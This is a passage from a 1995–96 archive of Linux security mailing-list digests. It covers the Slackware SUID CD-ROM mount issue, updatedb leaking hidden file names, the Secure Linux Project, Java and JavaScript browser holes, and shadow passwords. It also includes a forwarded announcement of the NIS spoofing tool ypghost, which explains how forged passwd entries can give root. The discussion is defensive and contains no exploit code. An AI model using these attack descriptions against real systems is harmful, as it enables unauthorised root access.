definite security advantage. Old tools _will_ break on this release. Thats a deliberate policy decision to improve facilities and security available before 1.4.0/2.0.0 Alan ------------------------------ From: [email protected] Date: Mon, 12 Feb 1996 13:38:28 +0100 (MET) Subject: Re: [linux-security] Re: Kernels 1.3.6[12] break IP firewalling [mod: I just looked at ftp.xos.nl and found that there's now version 2.0beta1 available, dated 12 Feb, 13:24. I haven't compiled it yet, but I guess this should settle the issue. --okir] Alan Cox wrote: > >> The 1.3.61 and 1.3.62 kernels break IP firewalling due to new >> setsockopt() arguments. >> >> There is currently no publically available set of utilities to >> make firewalling work under these kernels. >> >> If you depend on firewalling, STAY AWAY FROM THESE KERNELS. >Fortunately the provided information is incorrect. You can get the >new ipfwadm from ftp.xos.nl. This turns out not to be the case. The latest public version at that site is in /pub/linux/ipfwadm/ipfwadm-1.2.tar.gz, which breaks. The latest beta version is at /pub/tmp/ipfwadm-beta.tar.gz (which I just verified half a minute ago), dated Jan 29 12:56, which also breaks under 1.3.6[12]. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ End of linux-security-digest V2 #7 ********************************** linux-security-digest/v02.n008100664 1767 1767 27474 6116005222 15450 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #8 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 2 March 1996 Volume 02 : Number 008 [linux-security] SlackWare 3.0 insecurity Re: [linux-security] SlackWare 3.0 insecurity Re: [linux-security] SlackWare 3.0 insecurity [linux-security] Secure Linux Project [linux-security] ANNOUNCEMENT: Secure Linux Project Re: [linux-security] ANNOUNCEMENT: Secure Linux Project Re: [linux-security] ANNOUNCEMENT: Secure Linux Project ---------------------------------------------------------------------- From: Doctor Who Date: Fri, 23 Feb 1996 00:29:54 -0500 (EST) Subject: [linux-security] SlackWare 3.0 insecurity This effects Slackware 3.0 and possibly other distributions, I haven't checked others yet. If you mount the CDROM, it is mounted SUID-enabled. This is bad as many CDs include things such as the live filesystem on the Slackware CD. Thus, all a cracker has to do is run /cdrom/live/usr/bin/splitvt or exploit some other horrible old SUID-bug and root is obtained. Fix this by changing the line in /etc/fstab which reads: /dev/cdrom /cdrom iso9660 ro 1 1 to read: /dev/cdrom /cdrom iso9660 nosuid ro 1 1 to fix, and then umount /cdrom ; mount /cdrom to activate - -----------=?> Doctor Who Date: Fri, 23 Feb 1996 15:12:50 -0500 Subject: Re: [linux-security] SlackWare 3.0 insecurity "DW" == Doctor Who writes: DW> If you mount the CDROM, it is mounted SUID-enabled. This is bad as DW> many CDs include things such as the live filesystem on the Slackware DW> CD. Thus, all a cracker has to do is run /cdrom/live/usr/bin/splitvt DW> or exploit some other horrible old SUID-bug and root is obtained. Distribution developers/maintainers just can't completely protect sysadmins from their own blunders IMHO; if a sysadmin is foolish enough to allow his/her removable media to be mounted setuid, and said sysadmin keeps a CD-ROM mounted like this...well, that's just asking for trouble. (The way I view it, the fstab provided with distributions should be considered as nothing more than a basic starting point for a system--though I'm sure that others will debate that statement.) As many already know, here are a few generally smart things to do (not meant to be a comprehensive list): All FS's except / should be listed as 'nodev' in the fstab. All FS's except / and /usr should usually be 'nosuid' (unless explicitly required otherwise). All removable media should be both 'nodev' and 'nosuid', which is implicit (along with 'noexec') if it carries the 'user' option. Ditto for NFS filesystems ('nodev' and 'nosuid') unless, again, the situation dictates otherwise. The truly cautious/paranoid may also want to mount some other things 'noexec' (e.g. FTP/archive areas). DW> Fix this by changing the line in /etc/fstab which reads: DW> /dev/cdrom /cdrom iso9660 ro 1 1 DW> to read: DW> /dev/cdrom /cdrom iso9660 nosuid ro 1 1 ^^typo. The fourth (options) field is a comma-separated list, as in: /dev/cdrom /cdrom iso9660 nosuid,ro 1 1 - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Doctor Who Date: Fri, 23 Feb 1996 17:18:07 -0500 (EST) Subject: Re: [linux-security] SlackWare 3.0 insecurity [mod: Anyone wishing to pursue this discussion any further please take it to private email. I'm approving this to the list mainly because of the offer to distribution maintainers at the end of the message. Quoting trimmed. --okir] On Fri, 23 Feb 1996, Jeff Uphoff wrote: > (The way I view it, the fstab provided with distributions should be > considered as nothing more than a basic starting point for a > system--though I'm sure that others will debate that statement.) Yes...I do debate it. There is absolutely no reason for a distribution to be shipped that way. It sounds like you are saying that its the sys-admin's own damned fault for not knowing enough about linux security. This is a bad approach. Many people will be learning linux/unix with these distributions, and shouldn't get burned just because they haven't read far enough into the book yet. Distribution maintainers should provide at least a modicum of security in their product. There are a number of people who are willing to do security checks on a distribution before it is released. Any distribution maintainer who would like a security audit may contact me and I will put you in touch with said people. - -----------=?> Doctor Who ------------------------------ From: David J Meltzer Date: Tue, 27 Feb 1996 03:09:14 -0500 (EST) Subject: [linux-security] Secure Linux Project The overwhelming problem with security under linux is the lack of a cohesive effort by any of the distribution maintainers to actively ensure the security of any of the packages that are included within it. The generally determined role of the distributions as well as mailing lists are to passively wait until security holes are revealed by some external source before taking any sort of action. To what degree their response is successful and speedy is certainly an important point to note, but it really adds little to the security of the system over the long-term; it is only relevant to an admin as to whether he needs to be concerned with that problem for that day or week before an official fix is in order. The emergency response mode of operations for these mailing lists and maintainers is certainly a necessity, but it is also not the solution to making linux secure in the long-term. The real solution for making linux a viable choice for a secure computing environment is to take an active role in ensuring the security of it. I have spent a great deal of of my own time in making a personal effort to improve security, but it is clear that this is not a lone effort. But with the spirit upon which Linux has become what it is, together we can work to protect it. Linux is built upon the idea of people working together to build as high quality free operating system as possible, and it is time that one of those goals be to actively make it a secure operating system. It is with this idea in mind that I now announce the formation of the Secure Linux Project. /* David J Meltzer */ /* [email protected] */ [Mod: Announcement follows in a separate message. --Jeff.] ------------------------------ From: David J Meltzer Date: Tue, 27 Feb 1996 03:09:44 -0500 (EST) Subject: [linux-security] ANNOUNCEMENT: Secure Linux Project -=-=-=-=-=-=-=-=-=-= Secure Linux Project -=-=-=-=-=-=-=-=-=-= Initial Announcement of Formation The Vision ---------- The lack of security, both in prior and current distributions of linux, is a major stumbling block for the acceptance of linux in a wide range of situations where security is a major concern. We aim to take an active role in improving the security of all linux distributions with a long-term effort focused on the review and validation of security of each individual component of current linux systems as well as a review process for new components to undergo with the ultimate goal of providing systems that we will truly be able to call "Secure Linux". The Team -------- This, in the following of the Linux tradition, is a completely volunteer and open effort. Several of the best and brightest of the linux security community have already promised to commit their efforts to the Secure Linux Project, and we are hoping many others will follow. We are looking for anyone interested in providing a long-term secure linux operating system. The Status ---------- This is the initial announcement regarding the Secure Linux Project and is intended to reach those people that are interested in providing their support and input in advance of the start of formal specification discussions for the project. A mailing list is being formed currently to provide for open communication regarding the project, and will be opened on March 4, 1996. The specifics of the projects will be discussed in this open forum starting at that time, and actual work will begin shortly thereafter. How To Join ----------- If you would like to subscribe to the Secure Linux Project mailing list, please send mail with a subject line of "SUBSCRIBE SLP" to [email protected]. Please note that this is NOT the actual project mailing list; details will be sent out regarding the list traffic in response to requests sent to that address. Feel free to send any other comments regarding the project or your interest in being a part of it to [email protected]. /* David J Meltzer */ /* [email protected] */ ------------------------------ From: Jeff Uphoff Date: Tue, 27 Feb 1996 07:41:39 -0500 Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project "DJM" == David J Meltzer writes: DJM> -=-=-=-=-=-=-=-=-=-= DJM> Secure Linux Project DJM> -=-=-=-=-=-=-=-=-=-= DJM> Initial Announcement of Formation DJM> [...] This is, IMHO, a very good idea: a comprehensive, "ground-up," review of Linux applications' security is something that is a bit beyond the scope of the linux-security list (as it was originally envisioned); a separate set of lists--certain to be very active if/when a project like this picks up steam--is definitely called for. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Marc Ewing Date: Tue, 27 Feb 1996 10:05:40 -0500 Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project Jeff Uphoff writes: > "DJM" == David J Meltzer writes: > > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Secure Linux Project > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Initial Announcement of Formation > DJM> [...] > > This is, IMHO, a very good idea: a comprehensive, "ground-up," review of > Linux applications' security is something that is a bit beyond the scope > of the linux-security list (as it was originally envisioned); a separate > set of lists--certain to be very active if/when a project like this > picks up steam--is definitely called for. I agree. David has done a good job of hunting down holes ove the past few months, but even he needs to study for an exam every now and then! A concerted effort to find and squash holes is a great idea, and Red Hat Software will do whatever we can to support the effort. - -Marc ------------------------------ End of linux-security-digest V2 #8 ********************************** linux-security-digest/v02.n009100664 1767 1767 52040 6117340434 15444 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #9 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 6 March 1996 Volume 02 : Number 009 [linux-security] updatedb + locate Re: [linux-security] ANNOUNCEMENT: Secure Linux Project [Forwarded e-mail from Marc Ewing] [linux-security] BoS: announcing ypghost (fwd) Re: [linux-security] BoS: announcing ypghost (fwd) Re: [linux-security] BoS: announcing ypghost (fwd) [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) Re: [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) [linux-security] more Java/Netscape holes (fwd) [linux-security] Java security bug (applets can load native methods) (fwd) ---------------------------------------------------------------------- From: James Golovich Date: Sat, 2 Mar 1996 14:19:29 -0500 (EST) Subject: [linux-security] updatedb + locate I don't know if this has been brought to anyone's attention. updatedb is installed in the slackware (this is the only distribution I know about) crontab, and it is running as root... Every file which root can see is added to the filename database.. I tested this: as root mkdir /root/cantsee touch /root/cantsee/locatefile chmod 000 /root/cantsee updatedb than as a regular user: locate locatefile and sure enough it locate's a file that it isn't supposed to see... I am sure that if enough regular users used locate, you could run updatedb as a regular user and then only the files that they could see would be in the databse... James Golovich [email protected] [Mod: This problem was discussed briefly, and a sample patch was provided, in postings to linux-security on Nov. 9 and 10, 1995. For those that are still interested, or that missed them, these archived postings can be retrieved in the following two (among other) ways: 1) Send an e-mail message to the address "[email protected]" with a message body (not subject!) of: get linux-security-digest v01.n047 2) FTP/WWW URL: ftp://linux.nrao.edu/pub/security/list-archive/linux-security-digest/v01.n047 - --Jeff.] ------------------------------ From: Jeff Uphoff Date: Sat, 2 Mar 1996 15:40:50 -0500 Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project [Forwarded e-mail from Marc Ewing] Marc sent this to linux-security a few days ago, but due to a badly-timed reboot of the lists' primary mail-delivery hub here it doesn't appear that it got propagated out to the lists (though it did get archived and digested). Anyway...here it is again. - ------- start of forwarded message (RFC 934 encapsulation) ------- From: Marc Ewing To: Jeff Uphoff cc: David J Meltzer , [email protected] Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project Date: Tue, 27 Feb 1996 10:05:40 -0500 Jeff Uphoff writes: > "DJM" == David J Meltzer writes: > > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Secure Linux Project > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Initial Announcement of Formation > DJM> [...] > > This is, IMHO, a very good idea: a comprehensive, "ground-up," review of > Linux applications' security is something that is a bit beyond the scope > of the linux-security list (as it was originally envisioned); a separate > set of lists--certain to be very active if/when a project like this > picks up steam--is definitely called for. I agree. David has done a good job of hunting down holes ove the past few months, but even he needs to study for an exam every now and then! A concerted effort to find and squash holes is a great idea, and Red Hat Software will do whatever we can to support the effort. - - -Marc - ------- end ------- ------------------------------ From: [email protected] (Olaf Kirch) Date: Sun, 3 Mar 96 19:15 MET Subject: [linux-security] BoS: announcing ypghost (fwd) - -------- It was just a matter of time until someone would post such a beast to the net. I currently don't see a patch readily available for this, but it's being discussed on the NYS mailing list. As a a stopgap measure, you may want to try and disable YP over UDP to force use of TCP. You either have to patch ypserv for this, or make do with pmap_dump/pmap_set from Wietse Venema's secure portmapper distribution: Dump the current portmapper settings to a file with pmap_dump, delete the ypserv/udp line, restart the portmapper, and pipe the changed portmapper settings to pmap_set. This will make every operation involving NIS lookups (such as ls -l) dreadfully slow, so it may be quite impractical, but at least you're safe until TCP spoofing has been incoroporated into ypghost. Olaf - ---------- Forwarded message ---------- Date: Sat, 2 Mar 1996 04:30:36 +0000 (GMT) From: R.Arnold / Arny To: [email protected] Subject: BoS: announcing ypghost Hello, Ypghost is now finally on general release. It can be obtained from: http://www.scit.wlv.ac.uk/~cs6171/hack/progs/ypghost/ypghost.html Ypghost effectively adds false (ghost) entries to NIS maps. It does this by watching the local network for UDP packets that are calls to the YPPROC_MATCH function of the RPC program YPPROG, and then sends out false replies. Ypghost performs NIS spoofing as described in a paper on NIS security written by D.K.Hess, D.R.Safford and U.W.Pooch. The most obvious implication is that false entries can be added to the NIS maps passwd.byname, passwd.byuid, passwd.adjunct.byname thus allowing possibly unauthorised root access. The impact of such a weakness is vastly weakened by the fact that an unauthorised person must be able to listen for, and send packets, on the communication path between the NIS client and the NIS server. In practice this means that ypghost must be run as root on a machine on the same local network, so in some ways it certainly isn't the best hacker's tool ever written. Despite this its still fairly neat since lots of people seem to talk about spoofing, but you don't often see it done in practice. It does however rely on the spoofed response reaching the client before the real one, but in practice I don't see this as a significant problem. Ypghost currently has the limitation that it only supports ethernet type interfaces, IP version 4 (with no fragmentation or options), UDP, RPC version 2 (with AUTH_NULL), YPPROG version 2, and assuming the -p option is not specified, PMAP_PROG version 2. I expect the majority of systems to comply with all these conditions though. Ypghost has been written to be fairly portable, using the 'libpcap' portable packet capturing library to receive packets, and raw sockets to transmit packets. Unfortunately old kernels don't allow you to set the source address, so it won't work with SunOS 4.1 kernels or standard current linux kernels (I expect linux will be fixed very soon however). Ypghost is known to work on: SunOS 5.4 (solaris) Linux 1.2.13 & 1.3.14 (details of how to modify kernel supplied). It also compiles and runs on FreeBSD 2.1.0, although I have not been able to test whether it does definitely work. I couldn't comment about other versions of unix, but anything with libpcap, an ANSI compiler, and a *decent* implementation of raw sockets should work. Note that ypghost needs the libpcap library. The standard version works fine on SunOS (and many other platforms) and there is also a patched version for linux available (which isn't incorporated into the standard release I think because work on libpcap seems to have stopped at version 0.0.6 !). FreeBSD (at least) seems to come with libpcap as standard. I'll probably put both libpcap and libpcap for linux on my page, or at least details where to get them from. Arny - [email protected] http://www.scit.wlv.ac.uk/~cs6171/hack/index.html - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: [email protected] Date: Mon, 4 Mar 1996 13:40:35 +0000 (GMT) Subject: Re: [linux-security] BoS: announcing ypghost (fwd) > This will make every operation involving NIS lookups (such as ls -l) > dreadfully slow, so it may be quite impractical, but at least you're > safe until TCP spoofing has been incoroporated into ypghost. TCP spoofing for ypghost like tools has existed for a while, its just not been so publically available. Alan ------------------------------ From: Cy Schubert - BCSC Open Systems Group Date: Mon, 04 Mar 96 08:05:22 -0800 Subject: Re: [linux-security] BoS: announcing ypghost (fwd) [Mod: Quoting trimmed. --Jeff.] > As a a stopgap measure, you may want to try and disable YP over UDP to > force use of TCP. You either have to patch ypserv for this, or make do > with pmap_dump/pmap_set from Wietse Venema's secure portmapper distribution: > Dump the current portmapper settings to a file with pmap_dump, delete > the ypserv/udp line, restart the portmapper, and pipe the changed > portmapper settings to pmap_set. One could use the IP Firewalling code in the kernel as well/instead. Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." ------------------------------ From: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) Date: Mon, 4 Mar 1996 19:09:02 +0100 (MET) Subject: [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) FYI. There IS a solution to the ypghost problem available. - ----- Forwarded message from Holger Trapp ----- Date: Mon, 4 Mar 1996 16:25:03 +0100 (MET) From: Holger Trapp To: [email protected] Subject: Announcement: ONC RPC / NIS security with SSH Message-ID: Hello, because SSH is a wonderful tool to protect arbitrary TCP traffic we were looking for a solution to protect UDP-based RPC traffic by forwarding datagrams via an SSH channel. Therefore we have written a prototype of an RPC proxy server and an RPC proxy client for SunOS. You can find the sources and some info on our FTP server: ftp://ftp.tu-chemnitz.de/pub/Local/informatik/sec_rpc/ It is thought as starting point and not as a production tool. In our opinion NIS is the primary service which could benefit from this solution. Holger - ----- End of forwarded message from Holger Trapp ----- - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: Claudio Telmon Date: Tue, 5 Mar 1996 12:04:59 +0100 Subject: Re: [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) Thomas Koenig wrote: > FYI. There IS a solution to the ypghost problem available. Taken from ftp://ftp.tu-chemnitz.de/pub/Local/informatik/sec_rpc/README.RPC - ---clip---clip---clip---------- The idea is shown in this picture: Client host Server host +----------+ +----------+ +----------+ +----------+ | real RPC | ... | real RPC | | real RPC | ... | real RPC | | Client | | Client | | Server | | Server | +----------+ +----------+ +----------+ +----------+ ^ ^ ^ ^ | RPC communication | | RPC communication | | via localhost | | via localhost | | | | | | +----------+ | +------------+ | | | | v v v v +-----------+ +-----------+ | Proxy RPC | SSH channel | Proxy RPC | | Server |<--------------------------------->| Client | +-----------+ forwarding RPC messages with +-----------+ maps XIDs a globally unique XID (GXID) simply forwards back and forth requests and replies, acts as ONE virtual client Mapping XIDs - ------------ The mapping of the XIDs works as follows: - - The client sends its request to the proxy server. - - The proxy server replaces the original XID (generated by the client) with a globally unique one, keeps this mapping in a list and forwards the message via the SSH channel. "Globally unique" means unique for all requests sent by the proxy server to the proxy client, thereby hiding the different real clients from the real server. The GXID is incremented by one with each new request. Retransmitted requests get all the same GXID. Each mapping has a reference counter to indicate how often the mapping is in use. There is an upper limit the user has to set. This limit was introduced to avoid superfluous retransmissions. Normally datagrams can't get lost because they are transmitted via the reliable SSH channel. When setting the limit to one, a request is never retransmitted. The counter for the GXID wraps to zero after incrementing past the maximum value (2^32 - 1), thus possibly losing its uniqueness. For practical purposes this shouldn't be a problem because the proxy server wipes out stale mappings (by default every 60 seconds). - - The proxy server reads replies from the SSH channel and maps the GXID back to the original XID. If there is no mapping for a given GXID in the list, the reply is silently dropped. - - The client receives the correct reply from the proxy server. - ---clip---clip---clip--- It seems that you need to start in advance a different ssh (rpc proxy) client on the RPC server for every RPC client, and the RPC client should start the ssh server before the client tries to connect. More problems arise when a client goes down, since the ssh connection is TCP. On ftp://ftp.tu-chemnitz.de/pub/Local/informatik/sec_rpc/NIS/README.NIS there are some notes on RPC server crashes, but not on client problems. Am I wrong? ciao - - Claudio ------------------------------ From: Jeff Uphoff Date: Wed, 6 Mar 1996 11:29:21 -0500 Subject: [linux-security] more Java/Netscape holes (fwd) [Forwarded to me from Ruth Milner at NRAO.] - ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Fri, 01 Mar 1996 20:25:14 -0500 From: Jack Decker Subject: Java/JavaScript security breaches If you are running Netscape 2.0 on your system, and are at all concerned about security or privacy, you should run, not walk to this URL: http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html The World Wide Web Security FAQ Pay special attention to questions 69 through 71. Number 71 in particular discusses: * How a JavaScript page could grab a user's e-mail address from Netscape's preferences dialog and send it across the Internet. * A script that can open up a small window that continuously monitors the user's browsing activity, capture the URLs of open documents, and transmit them to a remote server. * A script that can obtain recursive directory listings of the user's local disk and any network disks that happen to be mounted. This information can be transmitted anywhere in the Internet. * How the version of JavaScript that was included with beta versions of Netscape 2.0 contained holes that allow the user's history and cache files (both of which contain lists of recently-visited URLs) to be captured. I have not seen any information on this before today, so I suspect that other Netscape users might want to know about these risks! - ------- end ------- Anyone out there looked into any of this? I know it's not Linux specific, but since so many novice admins are putting Linux systems up on the net--largely for the purpose of WWW browsing and serving--the potential for Linux-impacting abuse is quite large. The most worrying point, to me, is the third one: transmissions of recursive directory listing from your host to arbitrary remote locations. I'm wondering, since most of the world still runs Netscape under MS-Windows, if this hole applies just to that pseudo-OS--or if it applies to UNIX/Linux as well. The terminology used ("network disks") sounds somewhat non-UNIXish (since UNIXers usually say "network filesystems"), so that's why I'm wondering what the scope of the hole is.... Feedback much appreciated, especially since the net, with Java and the like, just seems to be begging for more security problems. (As if there aren't already enough!) - --Up. P.S. Everyone with any security concerns and WWW involvement should definitely view the above-listed URL! ------------------------------ From: Jeff Uphoff Date: Wed, 6 Mar 1996 11:43:20 -0500 Subject: [linux-security] Java security bug (applets can load native methods) (fwd) This specifically mentions Java-based exploits that have been tested successfully under Linux. Put a condom on your browsers there folks.... :)~ - --Up: "Just say no" to Netscape 2.0 and Java, at least for now.... P.S. This one is kinda' nasty--apparently it can take advantage of permissions settings/problems in your ~ftp/incoming area as an exploit path. [Again, forwarded to my by Ruth Milner at NRAO.] - ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Sat, 2 Mar 1996 23:51:49 +0000 (GMT) From: David Hopwood Subject: Java security bug (applets can load native methods) There is a serious security bug in the class loading code for the Java development kit and Netscape (all Java-enabled versions). If an attacker can arrange for two files (a "Loader" class, and a dynamic library) to be installed in any readable directory on the client machine, he/she can bypass all of Java's security restrictions. For example, the applet can read, write and execute files on the client, with the same permissions as the user of the browser. The only way to avoid this bug at the moment is to disable Java. In Netscape this can be done by selecting 'Disable Java' in the 'Security preferences...' section of the 'Options' menu. This bug affects all Java implementations based on Sun's source code. It is not related to JavaScript. Further details will be posted when Sun and Netscape have released patches. David Hopwood [email protected] - - ------------------ Date: Mon, 4 Mar 1996 18:08:58 +0000 (GMT) From: David Hopwood Subject: Java security bug (applets can load native methods) Unfortunately my news server has been off-line for the past few days. However, I'll try to address some of the questions that were raised on [email protected] and in private mail about the recently-discovered bug in Java's class loading code. The same questions have probably been asked on RISKS and/or comp.lang.java as well. Apparently I wasn't clear enough in stating that this bug allows classfiles to be loaded from _any_ directory on the client machine, not simply those on the CLASSPATH or LD_LIBRARY_PATH. This includes, for example, /tmp, ~ftp/incoming, or an attacker's home directory if he/she has an account on the same system. The attack requires two support files on the client's system: a classfile and a dynamic library. Both files must be readable by the browser, and the dynamic library must be executable (this is always true for systems that have no file permissions). The path to the classfile from the client's root directory must be known by the attacker in advance. Code demonstrating the bug has been written and tested on Linux and Digital Unix (OSF/1). It should be portable to all POSIX systems, and with a little work, to any system that supports Java. The demonstration is very easy to extend - hiding it within any applet would require adding only two extra lines of code. Changing the C code to execute any command would be a single-line change. For that reason, the code will not be described in detail or released publically until patches are available for both Netscape 2.0 and the Java Development Kit. David Hopwood [email protected] - ------- end ------- ------------------------------ End of linux-security-digest V2 #9 ********************************** linux-security-digest/1995/ 42775 1767 1767 0 6162107170 14716 5ustar majdommajdomlinux-security-digest/1995/v01.n001100664 1767 1767 51015 5726731016 16050 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #1 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 6 March 1995 Volume 01 : Number 001 General information and test. Shadow Passwords? Re: Shadow Passwords? Re: NFS deamon can be killed by normal users. Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? NFS server Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? ---------------------------------------------------------------------- From: Jeff Uphoff Date: Thu, 2 Mar 1995 17:21:49 -0500 Subject: General information and test. Well, the genie's out of the bottle now (urg--I hate these sayings) on this set of lists suggested by Olaf, and started by Olaf and myself for security discussions and announcements. Judging by the number of subscriptions generated after Olaf and I mentioned their existence in just the linux-doc list, the community has a fairly strong interest in having lists devoted to security for Linux. Once Olaf's c.o.l.a. post goes through I expect that things will really get rolling here. Just to make sure everyone knows the setup here, I'll describe things briefly: Two lists, "linux-alert" and "linux-security," are in place. The alert list is intended to be a CERT-like list for announcing security problems that have been discovered that affect Linux--it's pretty much one-way, with posts to it compiled or drawn from submissions to the security list and/or directly to the moderators. The security list is more free-form and discussion-based, though it will be moderated (at least initially). No rigid moderation criteria are really established; everyone already can pretty much figure out what is on-topic and what's not, so I don't anticipate much, if any, post-rejection occuring. In addition to the two regular lists, each list is available in digest form. (There's not much use in subscribing to the alert list in digest form obviously, but it's there if anyone wants it, as well as for archive purposes). The digest lists are set to mail out digests at the following thresholds (any of the three will trigger a digest mailing): 500 lines of information. 40,000 bytes (500 lines * 80 bytes) of information. Any amount of information present with no digest sent in past 7 days. All the lists, regular and digest, are archived, as well as indexed nightly for easy perusal via the Majordomo archive-retrieval mechanism. - --Up. P.S. This message is partly a test, just to make sure all is working as it should. Other lists on this server have been running flawlessly, but I always like to be certain... - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Don Bennett Date: Sun, 5 Mar 1995 19:59:45 -0330 Subject: Shadow Passwords? Would someone either tell me or point me towards a FAQ on shadow passwords? I'd like too know what exactly they are and how I implement them on my Linux box. I've beenm using Linux for about a year now, so I'm not entirely green. Last time I checked, there wasn't a Security or Shadow HOWTO. Thanks for your help. Don On-line, adj.: The idea that a human being should always be accessible to a computer. Don Bennett ([email protected]) Linux + PC - MSDOS - Windows = Heaven Check out my new home page! (http://www.engr.mun.ca/~don) ------------------------------ From: [email protected] (Daniel Hollis) Date: Sun, 5 Mar 1995 22:21:33 -0800 (PST) Subject: Re: Shadow Passwords? > Would someone either tell me or point me towards a FAQ on shadow > passwords? I'd like too know what exactly they are and how I implement > them on my Linux box. I've beenm using Linux for about a year now, so > I'm not entirely green. Last time I checked, there wasn't a Security or > Shadow HOWTO. Thanks for your help. One of the most common hacker techniques is grabbing your /etc/passwd and running it against a dictionary. This only reveals poorly chosen passwords, but should not be possible at all. Shadow passwords defeat this. Shadow passwords remove the encrypted password field from /etc/passwd completely, and put it into a non-world-readable file. There are other advantages to using the shadow password suite such as better logging, and password expiration, etc. Unfortunately the shadow password suite is not very well documented. but all you have to do is 'make' the package, 'make install', then 'make pwconv'. Run the pwconv program while in /etc. It will create two files, npasswd and nshadow. Just mv npasswd passwd and mv nshadow shadow and you're set. Oh, be sure to put the login.defs file into /etc and edit it, otherwise you won't be able to login :) You will need replacement shadow-aware daemons for a number of programs however. ftp, pop (if you run a pop server), xdm (if you run xdm), etc. Generally anything that has to do with passwords. Including adduser. The shadow suite provides replacement login program so you don't have to worry about login. - -Dan ------------------------------ From: [email protected] (Alan Cox) Date: Mon, 6 Mar 1995 09:59:47 +0000 (GMT) Subject: Re: NFS deamon can be killed by normal users. > The nfs deamons can be killed by any user. This is because the > nfs deamon takes on the userid of the current request. It then > remains at this userID untill the next request. Change your nfsd to make use of setfsuid(). I was under the impression that this was why it was added. setfsuid() allows you to set the effective uid for file access only. > might succeed. A true solution would allow the nfsd process to > indicate to the kernel that although it has the euid of a user, it > doesn't want to be considered "owned" by that user. Thats setfsuid() Alan ------------------------------ From: Roman Gollent Date: Mon, 6 Mar 1995 12:50:08 -0500 (EST) Subject: Re: Shadow Passwords? > One of the most common hacker techniques is grabbing your /etc/passwd and > running it against a dictionary. This only reveals poorly chosen > passwords, but should not be possible at all. Shadow passwords defeat this. [SNIP] I was wondering if there was ever going to be a move to make shadowing a standard, ie: Have all distributions come with shadowing by default. Since there are many other Un*x os that come with shadowing turned on, why can't the same be done for Linux distributions, or at least the popular ones? This isn't a criticism, just an open question. Roman ------------------------------ From: [email protected] (Arne Wichmann) Date: Mon, 6 Mar 95 14:22:46 MET Subject: Re: Shadow Passwords? Also sprach Don Bennett: > Would someone either tell me or point me towards a FAQ on shadow > passwords? I'd like too know what exactly they are and how I implement > them on my Linux box. I've beenm using Linux for about a year now, so > I'm not entirely green. Last time I checked, there wasn't a Security or > Shadow HOWTO. Thanks for your help. I would say this dosn't belong here. cu AW - -- My turn to crumble, my turn to fall >From so very humble to nothing at all. (Anne Clark) Arne Wichmann ([email protected]) ------------------------------ From: Ed Beaumont Date: Tue, 7 Mar 1995 05:03:52 +0000 (GMT) Subject: Re: Shadow Passwords? > > > One of the most common hacker techniques is grabbing your /etc/passwd and > > running it against a dictionary. This only reveals poorly chosen > > passwords, but should not be possible at all. Shadow passwords defeat this. > > [SNIP] > > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. If I remember right this was discussed awhile ago, but was the writer of the shadow password package didnt want it distributed in part. In any case, the package itself is very easy to install and requires very little interaction from the user to install. (You just have to peruse throught the config.h to decide what you would like to have. ) This is of course if you apply the linux patches to the 3.3.1 source tree. (They are available on sunsite.). - -- Morlok (Ed Beaumont) ----------------- UUCP Coordinator - APANA Brisbane "The Eagle may soar, but a weasel | ([email protected]) never gets sucked into a jet engine" | System Operator of Abyss APANA Site Simon & Simon + ([email protected]) - -- [Moderator's (Jeff's) note: This should pretty much finish this thread off. Further discussion of shadow passwords should go to the admin (or a similar) list, or to a c.o.l.* group, unless the discussion relates to a *security* portion of shadow, such as a previously-undetected vulnerability.] ------------------------------ From: [email protected] (Olaf Kirch) Date: Mon, 6 Mar 1995 20:44:07 +0100 (MET) Subject: NFS server 